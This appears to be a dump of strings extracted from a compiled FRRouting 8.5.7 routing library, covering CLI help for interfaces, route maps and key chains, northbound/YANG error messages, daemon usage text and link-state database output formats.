lib/grammar_sandbox.cMATCHER_ERROR(result)grammar access (0-65535)grammar_access_cmdgrammar_accessgrammar initgrammar_init_graph_cmdgrammar_init_graphgrammar_findambig_cmdgrammar_findambiggrammar dotfile OUTNAMEgrammar_test_dot_cmdgrammar_test_dotgrammar show [doc]grammar_test_show_cmdgrammar_test_showgrammar test docstringgrammar_test_doc_cmdgrammar_test_docgrammar match COMMAND...grammar_test_match_cmdgrammar_test_matchgrammar complete COMMAND...grammar_test_complete_cmdgrammar_test_completegrammar parse LINE...grammar_test_cmdgrammar_testCommand desc0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
test docstring <example|selector follow> (1-255) end VARIABLE [OPTION|set lol] . VARARGTest stuff
docstring thing
first example
second example
follow
random range
end thingy
variable
optional variable
optional set
optional lol
vararg!
CLI grammar sandbox
access node graph
node number
CLI grammar sandbox
(re)initialize graph
grammar find-ambiguous [{printall|nodescan}]CLI grammar sandbox
Find ambiguous commands
Print all permutations
Scan all nodes
CLI grammar sandbox
print current graph for dot
.dot filename
CLI grammar sandbox
print current accumulated DFA
include docstrings
CLI grammar sandbox
Test function for docstring
Command end
CLI grammar sandbox
attempt to match input on DFA
command to match
CLI grammar sandbox
attempt to complete input on DFA
command to complete
CLI grammar sandbox
parse a command
command to pass to new parser
grammar_sandbox_initgrammar_findambiggrammar_test_match    n%p -> n%p;
digraph {
}
Graph NodeGraphHash table|Buckets|Entries|Empty|LF|SD|FLF|SD%s|%d|%ld|%.0f%%|%.2lf|%.2lf|%.2lf|%.2lfNo named hash tables to display.
show debugging hashtable [statistics]Show running system information
Debugging functions
Statistics about hash tables
Statistics about hash tables
No hash tables in use.
# allocated: %d
# named:     %d

lib/hash.c(size & (size - 1)) == 0show_hash_stats_cmdshow_hash_statsHash IndexHash Buckethash_cmd_initshow_hash_statshash_create_size_-C6?Y@Showing hash table statistics foHook entryID Allocator %s attempt to re-create page at %uID Allocator %s cannot free #%u. ID Block does not exist.ID Allocator %s cannot free #%u. ID was not allocated at the time of free.ID Allocator %s has run out of IDs.ID Allocator %s internal error. Page starting at %d is inconsistent.ID Allocator %s internal error. Page starting at %d is inconsistent on word %dID Allocator %s could not reserve %u because it is already allocated.alloc->name, page->base_value, wordID Number temporary holding pool entryID Number Allocator Subdirectoryidalloc_reserveidalloc_allocatefind_or_create_pageidalloc_freelib/id_alloc.calloc->name, idalloc->name, page->base_valuealloc->nameID Number Allocator PageID Number Allocator DirectoryID Number Allocator NameID Number Allocator/frr-interface:lib/interface description %s
vrf_name./descriptioninterface %s vrf %s0123456789unknownBROADCASTDEBUGLOOPBACKPOINTOPOINTNOTRAILERSRUNNINGNOARPPROMISCALLMULTIMULTICASTExperimental EthernetAX.25 Level 2PROnet token ringIEEE 802.2 Ethernet/TR/TBARCnetAppleTalkFrame Relay DLCIATMMetricom STRIPIEEE 1394 IPv4EUI-64InfiniBandCompressed SLIPCompressed SLIPv6ReservedAdaptROSE packet radioCCITT X.25PPPCisco HDLCRaw HDLCLAPBIPIP TunnelIPIP6 TunnelFRADSKIP vifLoopbackLocaltalkFDDIIPv6-in-IPv4 SITIP-in-DDP tunnelGRE over IPGRE over IPv6PIMSM registrationHiPPIAcorn EconetIrDAFibre-Channel PtPFibre-Channel Arbitrated LoopFibre-Channel Public LoopFibre-Channel FabricIEEE 802.2 Token RingIEEE 802.11IEEE 802.11 RadiotapIEEE 802.15.4IEEE 802.15.4 Phyexit
!
lib/if.cdelimvrf_is_backend_netns()lib/table.hnode->lock > 0(cnode)->data != NULLcnodefrr-interface%s(config-if)# INTERFACEno descriptionno_interface_desc_cmdno_interface_descdescription LINE...no_interface_cmdno_interfaceif_delif_addInformational Link ParametersConnected interface labelNeighbor ConnectedIntf DescInterface/frr-interface:lib/interface[name='%s:%s']/frr-interface:lib/interface[name='%s']%s(%s): corruption detected -- interface with this name doesn't exist in VRF %s!%s(%u): corruption detected -- interface with this ifindex doesn't exist in VRF %s!%s(%s): corruption detected -- interface with this name exists already in VRF %s!%s(%u): corruption detected -- interface with this ifindex exists already in VRF %s!%% Reached maximum CLI depth (%u)
Maximum interface name length is 16 charactersMaximum VRF name length is 36 charactersInterface %s vrf %s(%u) index %d metric %d mtu %d mtu6 %d %sonly inactive interfaces can be deletedifp->name, ifp->vrf->name, ifp->vrf->vrf_id, ifp->ifindex, ifp->metric, ifp->mtu, ifp->mtu6, if_flag_dump(ifp->flags)__func__, (ifp)->ifindex, (ifp)->vrf->name__func__, (ifp)->name, (ifp)->vrf->name!"Attempted lookup of family not supported"__func__, (ptr)->ifindex, (ptr)->vrf->name__func__, (ptr)->name, (ptr)->vrf->name/frr-interface:lib/interface/description/frr-interface:lib/interface/vrf/frr-interface:lib/interface/state/if-index/frr-interface:lib/interface/state/mtu/frr-interface:lib/interface/state/mtu6/frr-interface:lib/interface/state/speed/frr-interface:lib/interface/state/metric/frr-interface:lib/interface/state/flags/frr-interface:lib/interface/state/type/frr-interface:lib/interface/state/phy-addressNegate a command or set its defaults
Interface specific description
Interface specific description
Characters describing this interface
no interface IFNAME [vrf NAME$vrf_name]Negate a command or set its defaults
Delete a pseudo interface's configuration
Interface's name
Specify the VRF
The VRF name
interface IFNAME [vrf NAME$vrf_name]Select an interface to configure
Interface's name
Specify the VRF
The VRF name
p`P@0 p`P@0 p`P@0 lib_interface_get_nextnetns_ifname_splitif_cmd_initroute_unlock_nodeconnected_get_linklocalconnected_lookup_prefixconnected_delete_by_prefixconnected_lookup_prefix_exactconnected_count_by_familynbr_connected_checkif_dumpif_set_indexif_set_nameif_newif_get_by_nameif_lookup_prefixif_lookup_addressif_lookup_address_localif_deleteif_update_to_new_vrfIroute-map direction must be [in|out]
no route-map ROUTEMAP_NAME <in|out> IFNAMENegate a command or set its defaults
Route map unset
Route map name
Route map for input filtering
Route map for output filtering
Route map interface name
route-map RMAP_NAME <in|out> IFNAMERoute map set
Route map name
Route map set for input filtering
Route map set for output filtering
Route map interface name
Interface route map container nameroute-map doesn't exist
 route-map %s in %s
 route-map %s out %s
Interface Route-Map Hashlib/if_rmap.cno_if_rmap_cmdno_if_rmapI.f. route map nameInterface route mapInterface route map containerif_rmap_initypg^ULCCurrent configuration object was deleted by another process.
Expire time is not later than start time
Hash algorithm not supported, compile with --with-crypto=openssl
Hash algorithm not supported, try compiling with --with-crypto=openssl
Negate a command or set its defaults
Unset send-lifetime
send-lifetime HH:MM:SS MONTH (1-31) (1993-2035) duration (1-2147483646)Set send lifetime of the key
Time to start
Month of the year to start
Day of th month to start
Year to start
Duration of the key
Duration seconds
send_lifetime_duration_month_day_cmdsend_lifetime_duration_month_daysend-lifetime HH:MM:SS (1-31) MONTH (1993-2035) duration (1-2147483646)Set send lifetime of the key
Time to start
Day of th month to start
Month of the year to start
Year to start
Duration of the key
Duration seconds
send_lifetime_duration_day_month_cmdsend_lifetime_duration_day_monthsend-lifetime HH:MM:SS MONTH (1-31) (1993-2035) infiniteSet send lifetime of the key
Time to start
Month of the year to start
Day of th month to start
Year to start
Never expires
send_lifetime_infinite_month_day_cmdsend_lifetime_infinite_month_daysend-lifetime HH:MM:SS (1-31) MONTH (1993-2035) infiniteSet send lifetime of the key
Time to start
Day of th month to start
Month of the year to start
Year to start
Never expires
send_lifetime_infinite_day_month_cmdsend_lifetime_infinite_day_monthsend-lifetime HH:MM:SS MONTH (1-31) (1993-2035) HH:MM:SS MONTH (1-31) (1993-2035)Set send lifetime of the key
Time to start
Month of the year to start
Day of th month to start
Year to start
Time to expire
Month of the year to expire
Day of th month to expire
Year to expire
send_lifetime_month_day_month_day_cmdsend_lifetime_month_day_month_daysend-lifetime HH:MM:SS MONTH (1-31) (1993-2035) HH:MM:SS (1-31) MONTH (1993-2035)Set send lifetime of the key
Time to start
Month of the year to start
Day of th month to start
Year to start
Time to expire
Day of th month to expire
Month of the year to expire
Year to expire
send_lifetime_month_day_day_month_cmdsend_lifetime_month_day_day_monthsend-lifetime HH:MM:SS (1-31) MONTH (1993-2035) HH:MM:SS MONTH (1-31) (1993-2035)Set send lifetime of the key
Time to start
Day of th month to start
Month of the year to start
Year to start
Time to expire
Month of the year to expire
Day of th month to expire
Year to expire
send_lifetime_day_month_month_day_cmdsend_lifetime_day_month_month_daysend-lifetime HH:MM:SS (1-31) MONTH (1993-2035) HH:MM:SS (1-31) MONTH (1993-2035)Set send lifetime of the key
Time to start
Day of th month to start
Month of the year to start
Year to start
Time to expire
Day of th month to expire
Month of the year to expire
Year to expire
send_lifetime_day_month_day_month_cmdsend_lifetime_day_month_day_monthNegate a command or set its defaults
Unset accept-lifetime
accept-lifetime HH:MM:SS MONTH (1-31) (1993-2035) duration (1-2147483646)Set accept lifetime of the key
Time to start
Month of the year to start
Day of th month to start
Year to start
Duration of the key
Duration seconds
accept_lifetime_duration_month_day_cmdaccept_lifetime_duration_month_dayaccept-lifetime HH:MM:SS (1-31) MONTH (1993-2035) duration (1-2147483646)Set accept lifetime of the key
Time to start
Day of th month to start
Month of the year to start
Year to start
Duration of the key
Duration seconds
accept_lifetime_duration_day_month_cmdaccept_lifetime_duration_day_monthaccept-lifetime HH:MM:SS MONTH (1-31) (1993-2035) infiniteSet accept lifetime of the key
Time to start
Month of the year to start
Day of th month to start
Year to start
Never expires
accept_lifetime_infinite_month_day_cmdaccept_lifetime_infinite_month_dayaccept-lifetime HH:MM:SS (1-31) MONTH (1993-2035) infiniteSet accept lifetime of the key
Time to start
Day of th month to start
Month of the year to start
Year to start
Never expires
accept_lifetime_infinite_day_month_cmdaccept_lifetime_infinite_day_monthaccept-lifetime HH:MM:SS MONTH (1-31) (1993-2035) HH:MM:SS MONTH (1-31) (1993-2035)Set accept lifetime of the key
Time to start
Month of the year to start
Day of th month to start
Year to start
Time to expire
Month of the year to expire
Day of th month to expire
Year to expire
accept_lifetime_month_day_month_day_cmdaccept_lifetime_month_day_month_dayaccept-lifetime HH:MM:SS MONTH (1-31) (1993-2035) HH:MM:SS (1-31) MONTH (1993-2035)Set accept lifetime of the key
Time to start
Month of the year to start
Day of th month to start
Year to start
Time to expire
Day of th month to expire
Month of the year to expire
Year to expire
accept_lifetime_month_day_day_month_cmdaccept_lifetime_month_day_day_monthaccept-lifetime HH:MM:SS (1-31) MONTH (1993-2035) HH:MM:SS MONTH (1-31) (1993-2035)Set accept lifetime of the key
Time to start
Day of th month to start
Month of the year to start
Year to start
Time to expire
Month of the year to expire
Day of th month to expire
Year to expire
accept_lifetime_day_month_month_day_cmdaccept_lifetime_day_month_month_dayaccept-lifetime HH:MM:SS (1-31) MONTH (1993-2035) HH:MM:SS (1-31) MONTH (1993-2035)Set accept lifetime of the key
Time to start
Day of th month to start
Month of the year to start
Year to start
Time to expire
Day of th month to expire
Month of the year to expire
Year to expire
accept_lifetime_day_month_day_month_cmdaccept_lifetime_day_month_day_monthno cryptographic-algorithm [<md5|hmac-sha-1|hmac-sha-256|hmac-sha-384|hmac-sha-512>]Negate a command or set its defaults
Cryptographic-algorithm
Use MD5 algorithm
Use HMAC-SHA-1 algorithm
Use HMAC-SHA-256 algorithm
Use HMAC-SHA-384 algorithm
Use HMAC-SHA-512 algorithm
no_cryptographic_algorithm_cmdcryptographic-algorithm <md5|hmac-sha-1|hmac-sha-256|hmac-sha-384|hmac-sha-512>Cryptographic-algorithm
Use MD5 algorithm
Use HMAC-SHA-1 algorithm
Use HMAC-SHA-256 algorithm
Use HMAC-SHA-384 algorithm
Use HMAC-SHA-512 algorithm
Negate a command or set its defaults
Unset key string
The key
Negate a command or set its defaults
Delete a key
Key identifier number
Configure a key
Key identifier number
Negate a command or set its defaults
Authentication key management
Key-chain management
Key-chain name
Authentication key management
Key-chain management
Key-chain name
Can't find key %d
JanuaryFebruaryMarchAprilMayJuneJulyAugustSeptemberOctoberNovemberDecemberMalformed time value
%T %b %d %YCan't find keychain %s
hmac-sha-2  key-string %s
  cryptographic-algorithm %s
  accept-lifetime %s infinite duration %ld  send-lifetime %s exit
key chain %s
lib/keychain.c(knode)->data != NULLknodeKEYCHAIN_NAMEKCHAIN_NAMEkeychain key%s(config-keychain-key)# keychain%s(config-keychain)# no send-lifetimeno_send_lifetime_cmdno_send_lifetimeno accept-lifetimeno_accept_lifetime_cmdno_accept_lifetimeno_cryptographic_algorithmcryptographic_algorithm_cmdmd5MD5hmac-sha-1HMAC-SHA-1hmac-sha-256HMAC-SHA-256hmac-sha-384HMAC-SHA-384hmac-sha-512HMAC-SHA-512maxNot definedno key-string [LINE]no_key_string_cmdno_key_stringkey-string LINESet key string
The key
no key (0-2147483647)no_key_cmdno_keyno key chain WORDno_key_chain_cmdno_key_chainKey chainKeykeychain_active_configkeychain_config_writekeychain_initkey_lookupkey_lookup_for_sendkey_match_for_acceptkey_lookup_for_acceptkeychain_lookupHldp_sync_info_createlib/ldp_sync.cldp_sync_infoLDP SYNC infoFailure to raise or lower privilegesFRR attempted to raise or lower its privileges and was unable to do soEnsure that you are running FRR as the frr user and that the user has sufficient privileges to properly access root privilegesUpon startup FRR failed to properly initialize and startup the VRF subsystemEnsure that there is sufficient memory to start processes and restart FRRWhen attempting to access a socket a system error has occurred and we were unable to properly complete the requestEnsure that there are sufficient system resources available and ensure that the frr user has sufficient permissions to work.  If necessary open an IssueA version miss-match has been detected between zebra and client protocolTwo different versions of FRR have been installed and the install is not properly setup.  Completely stop FRR, remove it from the system and reinstall.  Typically only developers should see this issue.The ZAPI subsystem has detected an encoding issue, between zebra and a client protocolGather data and open an Issue, also Restart FRRThe ZAPI subsystem has detected a socket error between zebra and a clientFRR has detected a error from using a vital system call and has probably already exitedEnsure permissions are correct for FRR files, users and groups are correct. Additionally check that sufficient system resources are available.FRR has detected a problem with the specified configuration fileEnsure configuration file exists and has correct permissions for operations Additionally ensure that all config lines are correct as wellFRR has detected a problem with interface data from the kernel as it deviates from what we would expect to happen via normal netlink messagingOpen an Issue with all relevant log files and restart FRRFRR has detected a problem with NameSpace data from the kernel as it deviates from what we would expect to happen via normal kernel messagingFRR has detected an issue where new development has not properly updated all code paths.Open an Issue with all relevant log filesFRR has detected an issue with the Zero MQ subsystem and ZeroMQ is not working properly nowFRR was not compiled with support for a particular feature, or it is not available on the current platformRecompile FRR with the feature enabled, or find out what platforms support the featureUnable to load YANG module from the file systemThe northbound subsystem has detected an error while loading a YANG module from the file systemEnsure all FRR YANG modules were installed correctly in the system.Attempt to load a YANG module that is already loadedThe northbound subsystem has detected an attempt to load a YANG module that is already loadedThis is a bug; please report itAn error has occurred while converting a YANG data value from string to binary representation or vice-versaThe northbound subsystem failed to find a YANG data node that was supposed to existThe northbound subsystem, during initialization, has detected a missing callback for one node of the loaded YANG modulesNorthbound callback has an invalid priorityThe northbound subsystem, during initialization, has detected a callback whose priority is invalidFailure to validate the northbound callbacksThe northbound subsystem, during initialization, has detected one or more errors while loading the northbound callbacksThe libyang library returned an errorThe northbound subsystem has detected that the libyang library returned an errorFailure to load a libyang pluginThe northbound subsystem, during initialization, has detected that a libyang plugin failed to be loadedCheck if the FRR libyang plugins were installed correctly in the systemUpon startup FRR failed to properly initialize and startup the ConfD northbound pluginCheck if ConfD is installed correctly in the system. Also, check if the confd daemon is running.An error has occurred while converting a ConfD data value (binary) to a stringThe northbound subsystem has detected that the libconfd library returned an errorUpon startup FRR failed to properly initialize and startup the Sysrepo northbound pluginCheck if Sysrepo is installed correctly in the systemAn error has occurred while converting a YANG data value to the Sysrepo formatThe northbound subsystem has detected that the libsysrepo library returned an errorUpon startup FRR failed to properly initialize and startup the gRPC northbound pluginCheck if the gRPC libraries are installed correctly in the system.A northbound configuration callback has failed in the ABORT phaseA callback used to process a configuration change has returned an error while trying to abort a changeGather log data and open an Issue.A northbound configuration callback has failed in the APPLY phaseA callback used to process a configuration change has returned an error while applying the changesAn error was detected while attempting to resolve a hostnameEnsure that DNS is working properly and the hostname is configured in dns.  If you are still seeing this error, open an issueThe SNMP AgentX library has returned a warning that we should report to the end userGather Log data and open an Issue.The stream subsystem has encountered an errorDuring sanity checking stream.c has detected an error in the data associated with a particular streamGather log data and open an Issue, restart FRRThe Linux namespace subsystem has encountered a parsing errorDuring system startup an invalid parameter for the namespace was give to FRRGather log data and open an Issue. restart FRRThe Event subsystem has detected a slow cpu time processThe Event subsystem has detected a slow process, this typically indicates that FRR is having trouble completing work in a timely manner.  This can be either a misconfiguration, bug, or some combination thereof.  In this case total CPU time was over 5 seconds.  Which indicates that FRR is very busy doing some work and should be addressedGather log data and open an IssueThe Event subsystem has detected a slow wall time processThe Event subsystem has detected a slow process, this typically indicates that FRR is having trouble completing work in a timely manner.  This can be either a misconfiguration, bug or some combination thereof.  In this case total WALL time was over 5 seconds.  Which indicates that FRR might be having trouble being scheduled or some system call is delayingThe Event subsystem has detected a thread starvation issueThe event subsystem has detected a thread starvation issue.  This typically indicates that the system FRR is running on is heavily loaded and this load might be impacting FRR's ability to handle events in a timely fashionThe Event subsystem has detected an internal FD problemThe Event subsystem has detected a file descriptor read/write event without an associated handling function.  This is a bug, please collect log data and open an issue.The Event subsystem has detected an internal timer that is scheduled to pop in greater than one yearThe Event subsystem has detected a timer being started that will pop in a timer that is greater than one year.  This is a bug, please collect log data and open an issue.Reached the Route-Map Recursion LimitThe Route-Map subsystem has detected a route-map depth of RMAP_RECURSION_LIMIT and has stopped processingRe-work the Route-Map in question to not have so many route-map statements, or recompile FRR with a higher limitUnable to open configuration fileThe config subsystem attempted to read in it's configuration file which failed, so we are falling back to the backup config file to see if it is availableThe VRF subsystem has encountered a parsing errorThe VRF subsystem, during initialization, has found a parsing error with input it has receivedCheck the length of the vrf name and adjust accordinglyThe northbound subsystem has detected that YANG data has been truncated as the given buffer wasn't big enoughThe northbound subsystem has detected an unknown YANG data pathUnable to load YANG module translatorThe northbound subsystem has detected an error while loading a YANG module translatorEnsure the YANG module translator file is valid. See documentation for further information.The northbound subsystem has detected an error while performing a YANG XPath translationThe northbound database wasn't initialized correctlyAn error occurred while initializing the northbound database. As a result, the configuration rollback feature won't work as expected.Ensure permissions are correct for FRR files, users and groups are correct.The northbound subsystem, during initialization, has detected a callback that doesn't need to be implementedA northbound configuration callback has failed in the VALIDATE phaseA callback used to process a configuration change has returned a validation errorThe provided configuration is invalid. Fix any inconsistency and try again.A northbound configuration callback has failed in the PREPARE phaseA callback used to process a configuration change has returned a resource allocation errorThe system might be running out of resources. Check the log for more details.A northbound callback for operational data has failedThe northbound subsystem has detected that a callback used to fetch operational data has returned an errorA northbound RPC callback has failedThe northbound subsystem has detected that a callback used to process YANG RPCs/actions has returned an errorThe log message should contain further details on the specific error that occurred; investigate the reported error.Invalid candidate configurationThe northbound subsystem failed to validate a candidate configurationCheck the log messages to see the validation errors and edit the candidate configuration to fix themFailure to edit a candidate configurationThe northbound subsystem failed to edit a candidate configurationFailure to obtain operational dataThe northbound subsystem failed to obtain YANG-modeled operational dataFailure to create a configuration transactionThe northbound subsystem failed to create a configuration transactionFailure to record a configuration transactionThe northbound subsystem failed to record a configuration transaction in the northbound databaseVRF Failure on StartSocket ErrorZAPI ErrorRestart FRRSystem Call ErrorVTY Subsystem ErrorInterface Subsystem ErrorNameSpace Subsystem ErrorDevelopmental Escape ErrorZMQ Subsystem ErrorFeature or system unavailableYANG data conversion errorYANG data node not foundMissing northbound callbackConfD initialization errorConfD data conversion errorlibconfd errorSysrepo initialization errorSysrepo data conversion errorlibsysrepo errorgRPC initialization errorDNS ResolutionSNMP has discovered a warningCreate configuration fileYANG data truncationUnknown YANG data pathYANG translation errorUnneeded northbound callbackvariable--- qmem %s ---
     Total  SizeCurrent#%-30s: %8s %-8s%s %8s %9s
MaxBytesMax#%6zuDescriptionVersionModule Name%-12s %-25s %s

%-12s %-25s %s
	from: %s/%s
pid: %u
%dd%02dh%02dm%02dw%dd%02dh0 bytes1 byte> 2GB%d MiB%d KiB%ld bytesSystem allocator statistics:
  Total heap allocated:  %s
  Holding block headers: %s
  Used small blocks:     %s
  Used ordinary blocks:  %s
  Free small blocks:     %s
  Free ordinary blocks:  %s
  Ordinary blocks:       %ld
  Small blocks:          %ld
  Holding blocks:        %ld
lib/lib_vty.creadin_time_strPROFILEXFRR_end_configurationThe End of Configuration
end_config_cmdend_configXFRR_start_configurationstart_config_cmdstart_configfrr version VERSION...frr_version_cmdfrr_versionfrr defaults PROFILE...frr_defaults_cmdfrr_defaultsshow modulesshow_modules_cmdshow_modulesshow memoryshow_memory_cmdshow_memory%-30s: %8zu %-8s %9zu %8zu %9zu
%% WARNING: profile %s is not known in this version
Configuration Read in Took: %s(see system documentation for 'mallinfo' for meaning)
The Beginning of Configuration
FRRouting global parameters
version configuration was written by
version string
FRRouting global parameters
set of configuration defaults used
profile string
Show running system information
Loaded modules
Show running system information
Memory statistics
lib_cmd_initend_configfailed to mkdir "%s": %sfailed to chown "%s": %spoll()Q
%s exiting

%s daemonizing
/dev/null@tcp::1/var/run/frr%s%s%s/%s.conf%s/%s.pid/var/run/frr%s%s/zserv.apiInvalid options.


Report bugs to %s
 * Available profiles are:
%s[%u]%s/%s%s%s%s.conf%s/%s%s.pidRead configuration filefork()setsid()%s/%s-%d.vty%s/%s.vtyinstance %u %s %s starting: %svty@%d%slib/libfrr.cfrr_daemon_ctl&daemon_ctl_threaddi->backup_config_filefrr_config_read_in&di->read_inpath, strerror(errno)u:g:userA:P:vty_addrvty_portz:i:pid_filetclif:CdryrunhvdM:F:N:o:daemonpathspacevrfdefaultnamevty_socketmoduledirscriptdirlog-levelcommand-log-alwayslimit-fdsfrr_finifrr_early_finifrr_config_postfrr_config_prefrr_late_initfrr_early_init%s failed to start, exited %d
%s crashed in startup, signal %d
%s failed to start, unknown problem
%s send("s") error (SIGTSTP propagation)%s: failed to open /dev/null: %sUsage: %s [OPTION...]

%s%s%s

%shttps://github.com/frrouting/frr/issuesThe "%s" configuration profile is not valid for this FRR version.
-N/--pathspace option specified more than once!
-N option overridden by -z for zebra named socket path
slashes or dots are not permitted in the --pathspace option.
-z option overrides -N option for zebra named socket path
-A option specified more than once!
-P option specified more than once!
invalid port number "%s" for -P option
--vty_socket option specified more than once!
----moduledir option specified more than once!
--scriptdir option specified more than once!
Invalid zserv socket path: %s
%s: failed to initialize northbound databaseAttempting to read backup config file: %s specified%s: failed to read configuration file: %s (%s)socketpair() for daemon control/tmp/frr-memstats-%s-%llu-%lluFRRouting 8.5.7.
Copyright 1996-2005 Kunihiro Ishiguro, et al.
configured with:
    '--build=x86_64-redhat-linux-gnu' '--host=x86_64-redhat-linux-gnu' '--program-prefix=' '--disable-dependency-tracking' '--prefix=/usr' '--exec-prefix=/usr' '--bindir=/usr/bin' '--sysconfdir=/etc' '--datadir=/usr/share' '--includedir=/usr/include' '--libdir=/usr/lib64' '--libexecdir=/usr/libexec' '--localstatedir=/var' '--sharedstatedir=/var/lib' '--mandir=/usr/share/man' '--infodir=/usr/share/info' '--sbindir=/usr/lib/frr' '--sysconfdir=/etc/frr' '--localstatedir=/var/run/frr' '--disable-static' '--disable-werror' '--enable-irdp' '--enable-multipath=256' '--enable-vtysh' '--enable-ospfclient' '--enable-ospfapi' '--enable-rtadv' '--enable-ldpd' '--enable-pimd' '--enable-pim6d' '--enable-pbrd' '--enable-nhrpd' '--enable-eigrpd' '--enable-babeld' '--enable-vrrpd' '--enable-user=frr' '--enable-group=frr' '--enable-vty-group=frrvty' '--enable-fpm' '--enable-watchfrr' '--disable-bgp-vnc' '--enable-isisd' '--enable-rpki' '--enable-bfdd' '--enable-pathd' '--enable-snmp' 'build_alias=x86_64-redhat-linux-gnu' 'host_alias=x86_64-redhat-linux-gnu' 'PKG_CONFIG_PATH=:/usr/lib64/pkgconfig:/usr/share/pkgconfig'
__func__, safe_strerror(errno)(di && di->name ? di->name : "")di->name, "8.5.7" "", instanceinfo, di->vty_port, di->startinfo__func__, nb_err_name(ret), errmsg  -u, --user         User to run as
  -g, --group        Group to run as
  -A, --vty_addr     Set vty's bind address
  -P, --vty_port     Set vty's port number
  -z, --socket       Set path of zebra socket
  -i, --pid_file     Set process identifier file name
      --tcli         Use transaction-based CLI
  -t, --terminal     Open terminal session on stdio
  -d -t              Daemonize after terminal session ends
  -f, --config_file  Set configuration file name
  -C, --dryrun       Check configuration for validity and exit
  -h, --help         Display this help and exit
  -v, --version      Print program version
  -d, --daemon       Runs in daemon mode
  -M, --module       Load specified module
  -F, --profile      Use specified configuration profile
  -N, --pathspace    Insert prefix into config & socket paths
  -o, --vrfdefaultname     Set default VRF name.
      --vty_socket   Override vty socket path
      --moduledir    Override modules directory
      --scriptdir    Override scripts directory
      --log          Set Logging to stdout, syslog, or file:<name>
      --log-level    Set Logging Level to use, debug, info, warn, etc
      --limit-fds    Limit number of fds supported
frr_terminal_closefrr_daemon_ctlfrr_runfrr_config_read_infrr_config_forkfrr_mkdirfrr_init/etc/frr/scripts/usr/lib64/frr/modules/etc/frr/list_to_arraylist_sortlistnode_lookuplist_deletelist_delete_all_nodelistnode_headlistnode_add_beforelistnode_add_afterlistnode_add_sortlist_duplistnode_add_sort_noduplistnode_add_headlistnode_addlib/linklist.c*listval != NULLLink NodeLink List%02x%02x.%02x%02x.%02x%02xUnsupported PayloadS-SPFS-SPF router-idrouter-id-v6vertex-typesegment-routingsrgb-sizesrgb-loweralgorithmssrlb-sizesrlb-lowermsdVertex (%llu): %s	Router Id: %pI4	Origin: %s	Status: %s
AS number: %u
SRGB: [%d/%d]	SRLB: [%d/%d]	Algo: 	MSD: %dOutgoing Edges: %d
To:	%s(%pI4)To:	- (0.0.0.0)	Local:  %pI4	Remote: %pI4
	Local:  %pI6	Remote: %pI6
Incoming Edges: %d
From:	%s(%pI4)From:	- (0.0.0.0)Subnets: %d
Prefix:	%pFX
verticesedge-idadvertised-routerlocal-vertex-idremote-vertex-idedge-attributeste-metricadmin-grouplocal-addressremote-addresslocal-address-v6remote-address-v6local-identifierremote-identifiermax-link-bandwidthmax-resv-link-bandwidthunreserved-bandwidthclass-type-%uremote-asnremote-as-addressremote-as-address-v6min-delaymax-delayjitterlossavailable-bandwidthresidual-bandwidthutilized-bandwidthsrlgssrlgadj-sid0x%xflagsEdge (%llu): %u/%u	Adv. Vertex: %s	Metric: %uOrigin: %s
Name: %s
TE Metric: %u
Admin Group: 0x%x
Local IPv4 address: %pI4
Remote IPv4 address: %pI4
Local IPv6 address: %pI6
Remote IPv6 address: %pI6
Local Identifier: %u
Remote Identifier: %u
Remote AS: %u
Link Loss: %g (%%)
IPv4 Adjacency-SID: %u	Flags: 0x%x	Weight: 0x%x
IPv4 Bck. Adjacency-SID: %uIPv6 Adjacency-SID: %uIPv6 Bck. Adjacency-SID: %uSRLGs: %d
%u, %uedgessubnet-idextended-tagpref-sidalgoSubnet: %pFX	Metric: %dFlags: %d
Tag: %d
Extended Tag: %llu
subnetsverticesCountedgesCountsubnetsCountno name node(%s) Ted init    Ted node (%s %pI4 %s)(%s) Ted endlib/link_state.c(lst_node)->data != NULLlst_nodeNewDeleteSyncOrphanABRRemote ASBRPseudoISIS_L1ISIS_L2OSPFv2DirectStaticLink State DatabaseLS(%s): Could not parse Link State Node. Abort!LS(%s): Could not parse Link State Attributes. Abort!LS(%s): Could not parse Link State Prefix. Abort!LS(%s): Could not parse LS message. Abort!	%d Outgoing Edges, %d Incoming Edges, %d Subnets
Segment Routing Capabilities:
Maximum Bandwidth: %g (Bytes/s)
Maximum Reservable Bandwidth: %g (Bytes/s)
Unreserved Bandwidth per Class Type
[%d]: %g (Bytes/sec)	[%d]: %g (Bytes/s)
Remote ASBR IPv4 address: %pI4
Remote ASBR IPv6 address: %pI6
Average Link Delay: %d (micro-sec)
Min/Max Link Delay: %d/%d (micro-sec)
Delay Variation: %d (micro-sec)
Available Bandwidth: %g (Bytes/s)
Residual Bandwidth: %g (Bytes/s)
Utilized Bandwidth: %g (Bytes/s)
SID: %d	Algorithm: %d	Flags: 0x%x

	Traffic Engineering Database: %s (key: %d)


	Total: %zu Vertices, %zu Edges, %zu Subnets

        inc edge key:%llu attr key:%pI4 loc:(%pI4) rmt:(%pI4)        out edge key:%llu attr key:%pI4  loc:(%pI4) rmt:(%pI4)    Ted edge key:%llusrc:%pI4 dst:%pI4    Ted subnet key:%pFX vertex:%pI4&subnet->ls_pref->pref, &subnet->vertex->node->adv.id.ip.addredge->key, edge->source ? &edge->source->node->router_id : &inaddr_any, edge->destination ? &edge->destination->node->router_id : &inaddr_anyvertex_edge->key, &vertex_edge->attributes->adv.id.ip.addr, &vertex_edge->attributes->standard.local, &vertex_edge->attributes->standard.remotevertex->node->name[0] ? vertex->node->name : "no name node", &vertex->node->router_id, origin2txt[vertex->node->adv.origin]ls_dump_tedls_show_vertex_vtyls_format_msgls_parse_prefixls_parse_attributesls_parse_nodels_parse_msgls_vertex_cleanls_vertex_delTqs*>unknown zebra route type: %u(no message found)%Y/%m/%d %H:%M:%S[bt %d] 0x%txReceived signal %d at %lld (si_addr 0x%tx, PC 0x%tx) (si_addr 0x%tx); %s
